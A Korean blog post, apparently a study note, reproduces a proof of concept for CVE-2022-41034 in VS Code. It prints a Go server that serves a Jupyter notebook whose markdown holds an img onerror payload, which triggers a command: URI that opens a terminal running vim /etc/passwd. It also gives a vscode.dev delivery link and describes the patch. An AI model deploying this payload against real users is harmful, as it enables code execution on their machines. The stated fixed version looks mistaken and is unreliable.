[CVE-2022-41034] RCE in Visual Studio Code

silver35·2023년 1월 15일
0

CVE

목록 보기
1/1

POC 실습

[공격자]

  1. server.go 파일 작성
// https://golang.org
package main

import "net/http" // http 사용

const file = `{ // file 변수 선언 
 "cells": [ 
  {
   "cell_type": "markdown", 
   "metadata": {},
   "source": [
    "<img src=a onerror=\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?
%7B%22config%22%3A%7B%22executable%22%3A%22vim%22%2C%22args%22%3A%5B%22%2Fetc%2Fpasswd%22%5D%
7D%7D';document.body.appendChild(q);q.click()\"/>"
   ]
  }
]}`

func Do() (err error) {
	return http.ListenAndServe(":http-alt" /* 8080 */, http.HandlerFunc(func(rw http.ResponseWriter, rq *http.Request) {
		rw.Header().Set("Access-Control-Allow-Origin", "*")
		rw.Write([]byte(file)) // Poc
	}))
}

func main() { // main 함수 
	if err := Do(); err != nil { // Do 함수 호출
		panic(err)
	}
}

server.go 코드 설명 : ListenAndServe() 메서드는 지정된 포트에 웹 서버를 열고 클라이언트 Request를 받아들인다. Handle()과 HandleFunc() 메서드는 요청된 Request Path에 어떤 Request 핸들러를 사용할 지를 지정하는 라우팅 역활을 한다.

file 변수 설명 : Json viewer로 코드를 자세히 살펴보자. ipynb 파일은 jupyter notebook에서 사용되는 파일 형식으로 key:value 형식인 json 파일 형식으로 표현된다.

(1) cell_type : cell_type은 markdown 형식으로 되어 있다. 마크다운이란 일반 텍스트로 서식이 있는 문서를 작성하는데 사용되며 HTML 등 서식 문자로 쉽게 변환이 가능한 언어이다.
(2) source : url 디코딩을 하면 아래와 같다. img 태그의 src 속성이 a이므로 존재하지 않는 파일 경로이기 때문에 이벤트 핸들러인 onerror를 실행한다. document.createElement 함수를 통해 HTML 요소인 a 태그를 생성한다. 그 다음에 vscode의 workbench.action.terminal.new 내장 명령을 통해 새 터미널을 생성한다. 그 다음 vim /etc/passwd 명령을 실행시켜 계정 정보를 확인한다. document.body.appendChild 함수는 선택한 요소 안에 자식 요소를 추가하는 것으로 html body 태그 안에 a 태그를 생성하고 click 함수를 통해 마우스 클릭 이벤트를 실행한다.

<img src=a onerror=\"let q = document.createElement('a');
q.href='command:workbench.action.terminal.new?
{"config":{"executable":"vim","args":["/etc/passwd"]}}';document.body.appendChild(q);q.click()\"/>
  1. server.go 파일 실행
  2. netstat -tlupn 명령어를 입력하면 8080 포트가 열려있음을 확인

[피해자]

  1. curl 명령어로 요청을 보내면 아래와 같은 응답 확인
  2. vscode 버전 확인을 하면 Affected versions(v.1.4.0-v1.71.1) 인것을 확인
  3. ipynb 파일을 열람 시 vim /etc/passwd 명령이 실행돼 계정 정보 파일을 열람

    참고 : 원래는 공격자가 피해자에게 아래와 같은 링크 클릭 유도를 통해 공격을 진행해야하지만 패치가 진행되어서 더이상 command가 실행되지 않는다.
https://vscode.dev/?payload=[["openFile","http://[ip주소]/something.ipynb"]]

패치

이 취약점은 Mircrosoft사에서 패치가 되었으며 vscode 버전을 17.3 버전으로 업데이트를 해야한다. 아래 링크에서 패치된 코드를 보면 allowCommands : false로 수정해 링크를 오픈할때 명령어를 쓰는 것을 막아놓았으며 제한된 명령어만 허용해 사용하도록 수정을 진행했다.
https://github.com/microsoft/vscode/commit/d2cff714d5410c570043e259fd72c75bbf387b7a

참고자료)
https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m
[漏洞建立] 沒時間解釋了~~ 趕快上車更新 VS Code 啦~~(CVE-2022-41034)

0개의 댓글